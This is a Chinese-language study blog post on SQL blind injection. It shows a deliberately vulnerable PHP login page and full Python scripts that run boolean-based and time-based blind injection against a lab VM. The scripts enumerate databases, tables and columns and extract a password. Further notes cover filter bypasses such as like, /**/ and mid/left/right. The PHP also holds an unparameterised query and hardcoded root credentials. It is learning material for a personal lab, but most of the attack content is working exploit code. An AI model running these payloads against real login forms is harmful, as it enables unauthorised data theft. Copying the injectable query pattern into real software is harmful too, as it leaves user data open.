sql盲注脚本简单分析学习

# 类型

  • 布尔盲注
  • 时间盲注

布尔盲注根据返回的信息的不同,判断查询结果是否正确

时间盲注通过观察/脚本计算不关注回显信息,通过页面的是否存在缓慢的加载,判断sleep函数是否执行,确认substr等函数是否爆破成功

# 布尔盲注

写了一个简单测试页面,测试一下布尔盲注

点击查看
<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>登录页面</title>
<style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f0f0f0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }
        .login-container {
            background-color: #ffffff;
            padding: 30px;
            border-radius: 8px;
            box-shadow: 0 4px 20px rgba(0, 0, 0, 0.2);
            width: 300px;
        }
        h2 {
            margin-bottom: 20px;
            text-align: center;
            color: #333;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
        }
        input[type="text"],
        input[type="password"] {
            width: 100%;
            padding: 12px;
            margin-bottom: 15px;
            border: 1px solid #ccc;
            border-radius: 4px;
            font-size: 14px;
        }
        input[type="submit"] {
            width: 100%; /* 使按钮宽度为100% */
            background-color: #4CAF50;
            color: white;
            padding: 12px;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            font-size: 16px;
            transition: background-color 0.3s;
            margin: 0 auto; /* 将外边距设置为自动 */
        }
        input[type="submit"]:hover {
            background-color: #45a049;
        }
        .footer {
            margin-top: 20px;
            text-align: center;
            color: #777;
            font-size: 12px;
        }
    </style>
</head>
<body>

<div class="login-container">
    <h2>登录</h2>
    <form action="" method="post">
        <label for="username">用户名:</label>
        <input type="text" id="username" name="username" required>

        <label for="password">密码:</label>
        <input type="password" id="password" name="password" required>

        <input type="submit" value="登录">
    </form>
</div>

</body>
</html>

<?php
$servername = "localhost";
$username = "root"; 
$password = "123456";
$dbname = "testdb";

$conn = new mysqli($servername, $username, $password, $dbname);

if (isset($_POST['username']) && isset($_POST['password'])) {
    $sql = "SELECT id, username, password FROM user WHERE username = '$_POST[username]' AND password = '$_POST[password]'";
    $result = $conn->query($sql);
    if ($result->num_rows > 0)
        echo "<span>登录成功!</span>";
     else 
        echo "<span>账号或密码错误!</span>";
}
$conn->close();

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102

2

我的数据库名testdb,先让语句可以正常运行。

substr函数,一次截取结果中的一个字符,爆破这个字符,如果爆破到截取的字符时,substr((select password from user where username='flag'),{i},1)='{s}'为真,会返回登录成功

1

用本地phpstudy mysql速度非常慢,用虚拟机环境速度翻倍,这是什么原因?

3

import requests
import time
import string
# 下划线放最后,避免当作统配符吃掉特殊字符
flags = 'abcdefghijklmnopqrstuvwxyz0123456789,-{}_'
flag = ""

url = "http://192.168.237.133/sql.php"
i = 1
start = time.time()
while True:
    for s in flags:
        data = {
        # 爆库
        # "username":f"99'or substr((select group_concat(schema_name) from information_schema.schemata),{i},1)='{s}'#",
        # 爆表
        # "username":f"99'or substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1)='{s}'#",
        # 爆字段
        # "username":f"99'or substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{i},1)='{s}'#",
        # 爆数据
        "username":f"99'or substr((select password from user where username='flag'),{i},1)='{s}'#",
        # 爆数据
        "password":'1'
        }
        resp = requests.post(url,data=data)
        end = time.time()
        if "登录成功" in resp.text:
            i += 1
            flag += s
            print(f"[#]------{flag}")
            break
        elif (end-start)>3:
            print("尽力啦尽力啦")
            exit()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

绕过

  • 过滤=,换成like
  • 过滤空格,/**/,反引号,括号,如果是GET传参还可以用%0a,%0b,%0c,%0d
  • 过滤substr,使用mid,left,right函数,函数MID(string, start, length)LEFT(string, n)RIGHT(string, n),string位置替换为子查询,mid函数用法同substr一样,left,right是从左或右开始截取n个字符,left,right函数搭配like应该好用一些

测试mid函数,只需要把substr函数替换为mid函数即可

        data = {
        # 爆库
        # "username":f"99'or mid((select group_concat(schema_name) from information_schema.schemata),{i},1) = '{s}'#",
        # 爆表
        # "username":f"99'or mid((select group_concat(table_name) from information_schema.tables where table_schema ='testdb'),{i},1)= '{s}'#",
        # 爆字段
        # "username":f"99'or mid((select group_concat(column_name) from information_schema.columns where table_schema='testdb'),{i},1)='{s}'#",
        # 爆数据
        "username":f"99'or mid((select password from user where username ='flag'),{i},1)='{s}'#",
        # 爆数据
        "password":'1'
        }
1
2
3
4
5
6
7
8
9
10
11
12

测试left函数,要测试right函数把username里的left换成right即可

import requests
import time
import string

# 下划线放最后,避免当作mysql统配符吃掉特殊字符
flags = 'abcdefghijklmnopqrstuvwxyz0123456789,-{}_'
flag = ""

url = "http://192.168.237.133/sql.php"
i = 1
start = time.time()
while True:
    for s in flags:
        # 测试left
        test_flag = flag + s
        # 测试right
        # test_flag = s + flag 
        data = {
        # 爆库
        # "username":f"99'or left((select group_concat(schema_name) from information_schema.schemata),{i}) like '%{test_flag}%'#",
        # 爆表
        # "username":f"99'or left((select group_concat(table_name) from information_schema.tables where table_schema ='testdb'),{i})like '%{test_flag}%'#",
        # 爆字段
        # "username":f"99'or left((select group_concat(column_name) from information_schema.columns where table_schema='testdb'),{i})like '%{test_flag}%'#",
        # 爆数据
        "username":f"99'or left((select password from user where username ='flag'),{i})like '%{test_flag}%'#",
        # 爆数据
        "password":'1'
        }
        resp = requests.post(url,data=data)
        end = time.time()
        if "登录成功" in resp.text:
            i += 1
            # 测试left
            flag += s
            # 测试right
            # flag = s + flag
            print(f"[#]------{flag}")
            break
        elif (end-start)>3:
            print("尽力啦尽力啦")
            exit()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

疑惑

尝试用regexp替换like,当前数据库名testdb,用regexp匹配testdb,匹配有问题?

4

5

select语句的sql盲注好像很依赖select,select过滤掉就退役了?

# 时间盲注

还用这个php,不再关注回显信息,通过页面的是否存在缓慢的加载,判断sleep函数是否执行,确认substr函数的是否爆破成功

6

脚本没有大的变化,关键在if(条件,sleep(t),0)语句,判断调试是否为真,如果为真,则执行sleep函数,页面加载缓慢,如果为假,则不执行sleep函数,确认爆破结果,条件可以放入substr,mid等函数的子查询substr((子查询),i,1)='s'

import requests
import time
import string

# 下划线放最后,避免当作统配符吃掉特殊字符
flags = 'abcdefghijklmnopqrstuvwxyz0123456789,-{}_'
flag = ""

url = "http://192.168.237.133/sql.php"
i = 1
while True:
    for s in flags:
        
        data = {
        # 爆库
        # "username":f"99'or if((substr((select group_concat(schema_name) from information_schema.schemata),{i},1) ='{s}'),sleep(0.5),0)#",
        # 爆表
        # "username":f"99'or if((substr((select group_concat(table_name) from information_schema.tables where table_schema =database()),{i},1)='{s}'),sleep(0.5),0)#",
        # 爆字段
        # "username":f"99'or if((substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{i},1) ='{s}'),sleep(0.5),0)#",
        # 爆数据
        "username":f"99'or if((substr((select password from user where username ='flag'),{i},1) ='{s}'),sleep(0.5),0)#",
        # 爆数据
        "password":'1'
        }
        start = time.time()
        resp = requests.post(url,data=data)
        end = time.time()
        if (end-start)>0.5:
            i += 1
            flag += s
            print(f"[#]------{flag}")
            break
        else:
            time.sleep(0.1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

换成上面的mid,left,right应该也可以

update,del语句的时间盲注,例如BaseCTF (opens new window)BaseCTF的一道题目,可以执行一句sql语句,过滤了select,可以用show命令拿到表名,字段名,用update,del语句进行时间盲注

最后一次更新于: 2024/10/04, 17:05:57